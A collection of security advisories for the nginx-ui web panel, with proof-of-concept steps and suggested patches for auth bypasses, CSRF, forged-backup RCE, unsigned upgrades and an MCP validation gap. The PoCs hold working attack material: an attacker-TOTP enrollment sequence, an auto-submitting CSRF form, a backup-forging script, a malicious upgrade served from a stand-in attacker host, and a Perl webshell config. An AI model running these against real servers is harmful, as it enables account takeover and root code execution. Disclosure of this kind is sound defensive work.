See how 0xjacky compares to other vendors in security performance
Summary
Endpoints that bind a TOTP secret (POST /api/otpenroll) or register a WebAuthn passkey (POST /api/finishpasskeyregister) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.
Details
api/user/router.go:34-39 — note the routes registered before the secure-session group:
go r.GET("/otpsecret", GenerateTOTP) r.POST("/otpenroll", EnrollTOTP) // ← outside RequireSecureSession r.GET("/beginpasskeyregister", BeginPasskeyRegistration) r.POST("/finishpasskeyregister", FinishPasskeyRegistration) // ← outside RequireSecureSession
o := r.Group("", middleware.RequireSecureSession()) { o.GET("/otpreset", ResetOTP) // reset is protected — inconsistent ... }
EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):
go if cUser.EnabledOTP() { ... abort ... } var twoFA struct { Secret string json:"secret" binding:"required" Passcode string json:"passcode" binding:"required" } if !cosy.BindAndValid(c, &twoFA) { return } if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... } ciphertext, := crypto.AesEncrypt([]byte(twoFA.Secret)) u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)
FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.
Proof of Concept
bash JWT="<victimjwt>"
Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call): $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otpsecret {"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN", "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}
Step 2 — compute current 30-s TOTP code (attacker-side): $ python3 -c "import base64,hmac,hashlib,struct,time key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN') ctr=int(time.time())//30 h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest() o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000 print(f'{v:06d}')" 954084
Step 3 — bind that secret to the victim's account: $ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \ -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \ http://127.0.0.1:18080/api/otpenroll
HTTP/1.1 200 OK {"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...], "lastviewed":1778338236}
Step 4 — confirm 2FA is now enabled on the victim's account: $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fastatus {"enabled":true,"otpstatus":true,"passkeystatus":false, "recoverycodesgenerated":true,"recoverycodesviewed":true}
Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.
The passkey variant follows the same pattern: GET /api/beginpasskeyregister then POST /api/finishpasskeyregister with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.
Impact
Persistent account takeover surviving the victim's password reset. Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.
Patches
api/user/router.go — move enrolment routes inside the secure-session group:
diff - r.POST("/otpenroll", EnrollTOTP) - r.GET("/beginpasskeyregister", BeginPasskeyRegistration) - r.POST("/finishpasskeyregister", FinishPasskeyRegistration) - o := r.Group("", middleware.RequireSecureSession()) { + o.POST("/otpenroll", EnrollTOTP) + o.GET("/beginpasskeyregister", BeginPasskeyRegistration) + o.POST("/finishpasskeyregister", FinishPasskeyRegistration) o.GET("/otpreset", ResetOTP) ... }
This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/currentuser.go).
Workarounds
None reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.
Credits
Vishal Shukla (@shukla304) and Sechub.dev AI Agent.
Summary
In the Casdoor SSO flow, the OAuth state parameter is hard-coded to settings.CasdoorSettings.Application — a value identical for every user and every login. The callback handler accepts whatever state the client sends without comparing it to anything stored in the user agent, enabling a login-CSRF: an attacker can force the victim's browser to authenticate as the attacker.
Details
api/user/casdoor.go:92-117 (GetCasdoorUri):
go func GetCasdoorUri(c gin.Context) { clientId := settings.CasdoorSettings.ClientId redirectUri := settings.CasdoorSettings.RedirectUri state := settings.CasdoorSettings.Application // ← constant ... c.JSON(http.StatusOK, gin.H{ "uri": fmt.Sprintf( "%s/login/oauth/authorize?clientid=%s&responsetype=code&redirecturi=%s&state=%s&scope=read", endpoint, clientId, encodedRedirectUri, state), }) }
api/user/casdoor.go:24-90 (CasdoorCallback):
go type CasdoorLoginUser struct { Code string json:"code" binding:"required,max=255" State string json:"state" binding:"required,max=255" }
func CasdoorCallback(c gin.Context) { var loginUser CasdoorLoginUser if !cosy.BindAndValid(c, &loginUser) { return } ... // state is NEVER compared to a per-session value token, err := casdoorsdk.GetOAuthToken(loginUser.Code, loginUser.State) ... u, err := user.GetUser(claims.Name) // username from Casdoor's JWT ... userToken, err := user.GenerateJWT(u) // JWT minted for whatever user came back }
Compare with the OIDC implementation in api/user/oidc.go:35-48, which generates a random state, stores it in an oidcstate cookie, and validates it on the callback. Casdoor has no such check.
Proof of Concept
1. Attacker initiates a Casdoor authorisation flow on their own browser, obtaining an authorisation code for their Casdoor account. 2. Attacker hosts a page that auto-submits the captured code to the victim's nginx-ui:
html <html><body><form action="https://victim.example/api/casdoorcallback" method="POST" enctype="text/plain" id="x"> <input name='{"code":"<attackercode>","state":"<App>","junk":"' value='"}'> </form> <script>document.getElementById('x').submit()</script> </body></html>
3. Server exchanges the attacker's code, looks up the username from claims.Name in the local user table, and mints a JWT for that row. The callback also sets the nginxuisecuresession cookie via middleware.EnsureSecureSessionCookie(c) (casdoor.go:84) — meaning the victim is now silently authenticated as the attacker. 4. Victim, believing they are using their own account, configures sites / TLS keys; the attacker reads them.
Impact
Login CSRF — the victim is forced to authenticate as the attacker, leading to data exfiltration of anything the victim subsequently uploads or configures. Particularly dangerous when nginx-ui is used by an organisation where Casdoor maps internal identities — the attacker can attribute their changes to the victim.
Patches
Mirror the OIDC implementation:
diff + import ( + "crypto/rand" + "crypto/subtle" + "encoding/hex" + ... + )
func GetCasdoorUri(c gin.Context) { ... - state := settings.CasdoorSettings.Application + b := make([]byte, 16) + if , err := rand.Read(b); err != nil { + cosy.ErrHandler(c, err); return + } + state := hex.EncodeToString(b) + c.SetSameSite(http.SameSiteLaxMode) + c.SetCookie("casdoorstate", state, 600, "/", "", + cSettings.ServerSettings.EnableHTTPS, true) ... }
func CasdoorCallback(c gin.Context) { + expected, err := c.Cookie("casdoorstate") + if err != nil { + c.AbortWithStatusJSON(http.StatusBadRequest, + gin.H{"message":"missing state cookie"}); return + } var loginUser CasdoorLoginUser if !cosy.BindAndValid(c, &loginUser) { return } + if subtle.ConstantTimeCompare([]byte(expected), []byte(loginUser.State)) != 1 { + c.AbortWithStatusJSON(http.StatusBadRequest, + gin.H{"message":"invalid state"}); return + } ... }
Workarounds
Disable Casdoor SSO until patched. The OIDC integration in api/user/oidc.go is correctly implemented and can be used as a substitute.
References
api/user/casdoor.go:92-117 api/user/casdoor.go:24-90 api/user/oidc.go:35-48 (correct implementation for comparison)
Credits
Vishal Shukla (@shukla304) and Sechub.dev AI Agent.
Summary
An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test.
This was validated on nginx-ui 2.3.11 2(523) 6c86e5a5 in the local Docker container uozi/nginx-ui:latest.
Impact
An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored app.ini, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.
Affected Version / Environment
- Version: nginx-ui 2.3.11 2(523) 6c86e5a5 - Deployment: local Docker, uozi/nginx-ui:latest - Base URL used in validation: http://127.0.0.1:8080
Root Cause
/api/restore is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored app.ini into the live nginx-ui config path.
Relevant code paths:
- api/backup/router.go: POST /api/restore - api/backup/restore.go: accepts securitytoken and uploaded backup file - internal/backup/manifest.go: derives backup signing key from supplied AES key - internal/backup/restore.go: restoreNginxUIConfig overwrites live app.ini - internal/nginx/exec.go: nginx command settings execute through shell-backed command paths
Proof of Concept
Assumptions:
- nginx-ui is already running. - $TOKEN is a valid user JWT. - $CONTAINER is the local disposable Docker container name for cleanup and evidence checks.
bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui'
Run only against a disposable local instance.
bash set -eu
TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT
docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"
curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup"
SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEYB64=${SEC%%:} IVB64=${SEC#:} KEYHEX=$(printf '%s' "$KEYB64" | base64 -d | xxd -p -c 256) IVHEX=$(printf '%s' "$IVB64" | base64 -d | xxd -p -c 256)
mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"
python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys
p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.readtext().splitlines() out = [] innginx = False seennginx = False written = False
for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if innginx and not written: out.append(cmd) written = True innginx = s.lower() == "[nginx]" seennginx = seennginx or innginx if innginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line)
if innginx and not written: out.append(cmd) elif not seennginx: out.extend(["", "[nginx]", cmd])
p.writetext("\n".join(out) + "\n") PY
(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEYHEX" -iv "$IVHEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip"
OUTER="$TMP/outer" KEYB64="$KEYB64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os
outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEYB64"]) manifest = json.loads((outer / "manifest.json").readtext())
for entry in manifest["files"]: data = (outer / entry["name"]).readbytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data)
manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifestbytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").writebytes(manifestbytes)
signingkey = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").writetext(hmac.new(signingkey, manifestbytes, hashlib.sha256).hexdigest()) PY
(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)
curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "restorenginx=false" \ -F "restorenginxui=true" \ -F "verifyhash=true" \ -F "securitytoken=$SEC" \ -F "backupfile=@$TMP/malicious-restore.zip"
sleep 10 for i in $(seq 1 80); do curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break sleep 0.5 done
curl -sS -X POST "$BASE/api/nginx/test" \ -H "Authorization: $TOKEN"
docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'
Cleanup and return the disposable instance to its original config. docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce' docker restart "$CONTAINER"
Expected output:
text {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true} {"message":"","level":-1,"testscope":"global"} restored-rce
Cleanup
The PoC performs cleanup at the end. If interrupted, restore the original app.ini from a known-good backup, remove /tmp/nginx-ui-restore-rce, and restart nginx-ui before continuing other tests.
Patch Guidance
Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.
Summary Nginx-UI v2.4.3 stores the API JWT in a browser cookie named token and the AuthRequired middleware accepts that cookie as an authentication source. Because management endpoints are protected by AuthRequired and do not enforce a universal CSRF token or Origin/Referer check, a remote attacker can induce a logged-in administrator to submit cross-site state-changing requests. The attacker does not need to read the cross-origin response; the browser-sent cookie is enough to authenticate the request.
Details The root cause is a trust-boundary failure between browser-managed cookies and API bearer-token authentication. In app/src/pinia/moudule/user.ts:25-35, the front end writes the JWT to a token cookie when the token changes. In internal/middleware/middleware.go:16-36, getToken first checks the Authorization header and token query parameter, then falls back to c.Cookie("token"). That fallback causes browser-initiated cross-site requests to carry a valid API credential automatically. The route group in router/routers.go:87-110 applies middleware.AuthRequired() to many management modules, including config.InitRouter, nginx.InitRouter, settings.InitRouter, and backup-related handlers. For accounts without OTP/Passkey, RequireSecureSession does not provide a universal second factor for all state-changing operations. A representative sink is api/config/add.go:68-78, where an authenticated request writes Nginx configuration with os.WriteFile and then calls nginx.Control(nginx.Reload). CORS does not mitigate this issue because preventing cross-origin response reads does not prevent cross-site form or no-cors requests from being sent with cookies.
Core vulnerable code path:
typescript // app/src/pinia/moudule/user.ts:25-35 watch(token, v => { if (v) { cookies.set('token', v, getCookieOptions(86400)) if (!shortToken.value) { void fetchShortToken() } } else { cookies.remove('token', { path: '/' }) shortToken.value = '' } })
The front end stores the authentication token in a token cookie. The cookie is created client-side and is not shown here as HttpOnly; it becomes the credential that the back end later accepts through cookie fallback.
go // internal/middleware/middleware.go:16-36 // getToken from header, cookie or query func getToken(c gin.Context) (token string) { if token = c.GetHeader("Authorization"); token != "" { return }
if token = c.Query("token"); token != "" { if len(token) > 16 { // Long token (base64 encoded JWT) tokenBytes, := base64.StdEncoding.DecodeString(token) return string(tokenBytes) } // Short token (16 characters) return token }
if token, = c.Cookie("token"); token != "" { return token }
return "" }
getToken accepts the token cookie as an authentication credential after checking the header and query parameter. That behavior lets a browser-sent cookie authenticate state-changing API requests triggered from another origin.
go // router/routers.go:87-110 // Authorization required and not websocket request g := root.Group("/", middleware.AuthRequired(), middleware.Proxy()) { debug.InitRouter(g) user.InitUserRouter(g) analytic.InitRouter(g) user.InitManageUserRouter(g) nginx.InitRouter(g) sites.InitRouter(g) streams.InitRouter(g) config.InitRouter(g) template.InitRouter(g) certificate.InitCertificateRouter(g) certificate.InitDNSCredentialRouter(g) certificate.InitAcmeUserRouter(g) dnsapi.InitRouter(g) system.InitPrivateRouter(g) settings.InitRouter(g) llm.InitRouter(g) cluster.InitRouter(g) notification.InitRouter(g) externalnotify.InitRouter(g) backup.InitAutoBackupRouter(g) nginxLog.InitRouter(g) upstream.InitHTTPRouter(g)
Many management modules, including Nginx, configuration, settings, backup, and user management, are placed behind AuthRequired. The cookie fallback therefore protects high-impact state-changing routes, not only read-only endpoints.
go // api/config/add.go:68-78 err = os.WriteFile(path, []byte(content), 0644) if err != nil { cosy.ErrHandler(c, err) return }
res := nginx.Control(nginx.Reload) if res.IsError() { res.RespError(c) return }
This representative sink shows why the CSRF is high impact: once authenticated through the cookie fallback, a request can write Nginx configuration content and trigger a reload.
POC Prerequisites: an administrator is logged in to Nginx-UI and has a browser token cookie; the administrator account has not enabled OTP/Passkey, or the chosen target endpoint does not require secure-session proof; the attacker knows the Nginx-UI management URL and can induce the administrator to visit an attacker-controlled page. Reproduction: (1) Host an attacker page at GET /csrf.html that automatically submits a cross-site request to the victim instance. (2) The page submits POST /api/configs with configuration fields such as basedir, name, content, overwrite, and syncnodeids; the attacker does not need to read the response. (3) When the administrator visits the page, the browser attaches the victim site's token cookie. (4) Expected result: AuthRequired authenticates from the cookie, AddConfig writes the Nginx configuration, and the application attempts an Nginx reload. Testing should use a harmless configuration in an isolated environment.
Impact An attacker can trigger administrative operations while an administrator is logged in, including Nginx configuration creation or modification, reload/restart operations, settings changes, and backup-related actions depending on endpoint protections. Direct impacts include traffic redirection, reverse proxy tampering, denial of service, and sensitive configuration changes. In deployments with permissive Nginx modules or dangerous configuration capabilities, configuration tampering may lead to further server-side impact or internal network abuse.
Nginx UI is a web user interface for the Nginx web server. From 2.0.0 until 2.5.0, ordinary authenticated users can access /api/nodes and /api/nodes/:id, whose responses serialize the node token field. The same token is accepted as X-Node-Secret by AuthRequired and maps the request to initUser, allowing the user to impersonate a trusted node against a reachable cluster member. This cross-node authentication bypass can expose sensitive management operations, including configuration synchronization and service restart. This issue is fixed in version 2.5.0.
Summary The self-upgrade downloads the release binary and its checksum (.tar.gz and .tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is githubproxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the githubproxy setting accepts http:// URLs, so the binary+digest can be fetched over cleartext.
Affected code - internal/version/url.go GetUrl(path) = <githubproxy or cloud.nginxui.com>/<path> — used for BOTH the binary and the digest. - internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped with GetUrl(), fetched, and checked with digestFileContent == DigestSHA512(tarName). No signature verification anywhere in internal/upgrader/. - selfupdate.CommitBinary then replaces the running binary; the process restarts. - settings/http.go: GithubProxy accepts any URL (binding:"omitempty,url"), including http://.
Attack scenarios A. Compromised mirror / CDN (primary). By default the binary+digest are routed through cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of githubproxy; the field accepts http://, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets githubproxy to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism An attacker HTTP server serves any .tar.gz -> a malicious tarball (whose nginx-ui is a script that writes a marker as whoever runs it) and any .digest -> the SHA-512 of that tarball. 1. Set the download origin to the attacker server (here via githubproxy; in scenarios A/B this is instead a compromised mirror / MITM): POST /api/settings with http.githubproxy = http://ATTACKER:8890 -> 200. The field accepts the http URL. 2. Trigger the upgrade: WS GET /api/upgrade/perform, send {"channel":"stable"}. 3. Observed: - The attacker server received BOTH GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz (over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked. - Inside the container: /tmp/UPGRADEPWNED = UPGRADERCEEXECUTED uid=0 -> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.
Impact Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.
Honest scope / caveats - Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy). - NOT staged (threat-model assumptions, not PoC artifacts): actually compromising cloud.nginxui.com / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis. - The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).
Suggested fix Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject http:// for githubproxy (require https). Consider treating githubproxy as a protected setting.
Dedup / novelty Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.
Summary
Incomplete fix of GHSA-5v7c-xpfp-p65m: the secure-session (OTP step-up) requirement added to the nginx, cert, dns, backup, site, and stream mutation routers was not applied to the parallel api/cluster router, so cluster node management and cluster-wide nginx reload/restart run with only a JWT and no step-up. An authenticated user whose JWT is stolen or persisted, but who does not hold a fresh secure-session, can perform cluster node CRUD (including reading and rewriting a node token secret) and trigger cluster-wide nginx reload/restart. Confirmed at HEAD 2cb7ee9102c9d87274de2fa104db804841d140a0.
The defect
GHSA-5v7c-xpfp-p65m required a fresh secure session (an OTP step-up beyond the JWT) for sensitive mutation routes. The fix wrapped the nginx, cert, dns, backup, site, and stream mutation handlers in middleware.RequireSecureSession() and added reload/restart to the MCP sensitive-tool list. It did not touch the physically separate api/cluster package, whose router registers the same class of sensitive operations on the bare authenticated group.
The fixed sibling, api/nginx/router.go:
go o := r.Group("", middleware.RequireSecureSession()) // line 28 { o.POST("nginx/reload", Reload) // line 30 o.POST("nginx/restart", Restart) // line 31 }
The missed router, api/cluster/router.go, registers every sensitive operation directly on r with no RequireSecureSession wrapper:
go nodeGroup := r.Group("nodes") // line 9, no step-up { nodeGroup.POST("", AddNode) // line 12 nodeGroup.POST("/:id", EditNode) // line 13 nodeGroup.DELETE("/:id", DeleteNode) // line 14 } r.POST("nodes/reloadnginx", ReloadNginx) // line 17 r.POST("nodes/restartnginx", RestartNginx) // line 18 r.POST("namespaces", AddNamespace) // line 22 r.POST("namespaces/:id", ModifyNamespace) // line 23 r.DELETE("namespaces/:id", DeleteNamespace) // line 24
Both routers mount on the same group in router/routers.go: g := root.Group("/", middleware.AuthRequired(), middleware.Proxy()) (line 87); nginx.InitRouter(g) creates its own RequireSecureSession subgroup, cluster.InitRouter(g) does not. So the cluster routes inherit only AuthRequired and Proxy, exactly the pre-fix posture the advisory closed for the nginx routes. AuthRequired has no role gate, so any authenticated user reaches them.
Attacker model and impact
An authenticated, OTP-enabled user who does not present a fresh X-Secure-Session-ID (the parent advisory's model: a stolen or persisted JWT used without the step-up). Such a user can: add/edit/delete cluster nodes (AddNode/EditNode store an AES-serialized node token, the secret used to control a remote node, so this reads back and rewrites a cross-node credential); trigger nodes/reloadnginx and nodes/restartnginx across the cluster (the exact reload/restart action class the fix protected on the single-node path); and add/modify/delete/reorder namespaces.
Proof of concept: with a valid JWT but no fresh secure session, call POST /api/nodes (AddNode) or POST /api/nodes/reloadnginx. The nginx equivalent POST /api/nginx/reload returns the secure-session challenge; the cluster route succeeds.
Verification
Source-verified at HEAD: the nginx router wraps reload/restart in RequireSecureSession, the cluster router registers node/namespace/reload/restart directly on the group with no such wrapper, and both mount on the AuthRequired+Proxy-only group. I did not stand up a live nginx-ui.
Suggested fix
Wrap the cluster router's mutation handlers (node CRUD, nodes/reloadnginx, nodes/restartnginx, namespace CRUD) in middleware.RequireSecureSession(), mirroring api/nginx/router.go. Secondary lower-confidence items worth checking in the same pass: the system/restart handler, the core-upgrade websocket, and the upstream socket PUT also appear to run without the step-up (I did not fully trace these).
Summary An OTP-enabled authenticated user who cannot use the HTTP configuration mutation endpoints without a valid secure session can still mutate Nginx configuration through /mcp and /mcpmessage using only ordinary authentication.
Details The HTTP configuration mutation surface is explicitly grouped behind middleware.RequireSecureSession(). By contrast, the MCP endpoints are exposed with only middleware.AuthRequired(). The MCP server exposes configuration mutation tools including nginxconfigadd and nginxconfigmodify, so OTP-enabled users gain an alternate path around the intended step-up requirement.
Relevant code paths: - api/config/router.go - internal/middleware/securesession.go - mcp/router.go - mcp/config/configadd.go - mcp/config/configmodify.go
This is a security-control bypass rather than a missing feature. The product already established that OTP-enabled users should complete a secure session before high-impact configuration mutations are accepted on the HTTP path.
PoC I verified this locally in an isolated environment with a temporary end-to-end harness that exercised the real /mcp and /mcpmessage routes.
What the executed test did: 1. Created a temporary config directory and configured Nginx control commands to harmless local values (true) to avoid touching the host. 2. Created a real OTP-enabled user in a temporary SQLite database. 3. Generated a real JWT for that OTP-enabled user. 4. Started a local test server exposing the real /mcp and /mcpmessage routes. 5. Opened an authenticated SSE connection to /mcp with the JWT and no X-Secure-Session-ID. 6. Initialized the MCP session over /mcpmessage. 7. Called the real nginxconfigadd tool over /mcpmessage. 8. Verified that the tool succeeded and created mcp-bypass.conf in the managed config directory without any secure-session step-up.
Observed result from the actual local verification: - The MCP session initialized successfully without any X-Secure-Session-ID. - The config file was written through the MCP tool path using only JWT authentication.
Impact OTP-enabled accounts lose the intended step-up protection for high-impact Nginx configuration changes when MCP is enabled. A user who should be blocked until re-authenticating can still create or modify configuration files and trigger reload behavior through MCP.
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, Nginx UI does not apply RequireSecureSession to multiple authenticated mutation routes even though OTP-enabled users are expected to present a fresh X-Secure-Session-ID for sensitive actions. A stolen authenticated session can therefore create or alter automatic backups, DNS credentials and records, certificates and ACME users, Nginx control settings, and site or stream automation without completing the OTP or passkey step-up. This issue is fixed in version 2.4.1.
Summary
The MCP tool nginxconfigadd writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, jsimport, loadmodule, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.
Details
api/config/add.go (line 46) calls config.ValidateConfigFile before writing:
go err = config.ValidateConfigFile(path, content) // validates directives, checks blocklist if err != nil { cosy.ErrHandler(c, err) return }
mcp/config/configadd.go (line 79) omits that call entirely and writes directly:
go err = os.WriteFile(path, []byte(content), 0644) // no ValidateConfigFile, no blocklist check ... res := nginx.Control(nginx.Reload) // reload triggered immediately
config.ValidateConfigFile runs two checks: - ValidateConfigContent — rejects control characters, enforces encoding. - ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perlmodules, perlrequire, perlset, jsimport, jsset, jscontent, loadmodule (restricted modules), user root, and others.
Neither check runs on the MCP path. Note that mcp/config/configmodify.go does call ValidateConfigFile correctly — only configadd.go is affected.
The MCP endpoint (GET /mcp SSE + POST /mcpmessage JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.
PoC
1 — Control: confirm REST API blocks the payload
POST /api/configs Authorization: <token>
{ "name": "rce.conf", "basedir": "conf.d", "content": "<perl config below>", "overwrite": true }
Response: HTTP 500 scope=config code=40017 message: file content contains restricted nginx directive: {0}
ValidateConfigDirectives rejects perl — the REST API is working as intended.
2 — Open MCP SSE session
GET /mcp Authorization: <token> Accept: text/event-stream
Extract sessionId from the endpoint event.
3 — MCP initialize handshake
POST /mcpmessage?sessionId=<id>
{ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }
4 — Call nginxconfigadd with the identical blocked payload
POST /mcpmessage?sessionId=<id>
{ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "rcebackdoor.conf", "basedir": "conf.d", "overwrite": true, "content": "server {\n listen 8888;\n\n location /rce {\n perl 'sub {\n my $r = shift;\n my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&])/);\n $cmd ||= \"id\";\n $r->sendhttpheader(\"text/plain\");\n $r->print(qx($cmd 2>&1));\n return OK;\n }';\n }\n}\n" } } }
Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rcebackdoor.conf, nginx reloaded automatically:
json { "jsonrpc": "2.0", "id": 2, "result": { "content": [ { "type": "text", "text": "{\"content\":\"...\",\"filepath\":\"/etc/managed-nginx/conf.d/rcebackdoor.conf\",\"name\":\"rcebackdoor.conf\"}" } ] } }
The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.
5 — Trigger RCE
GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)
Impact
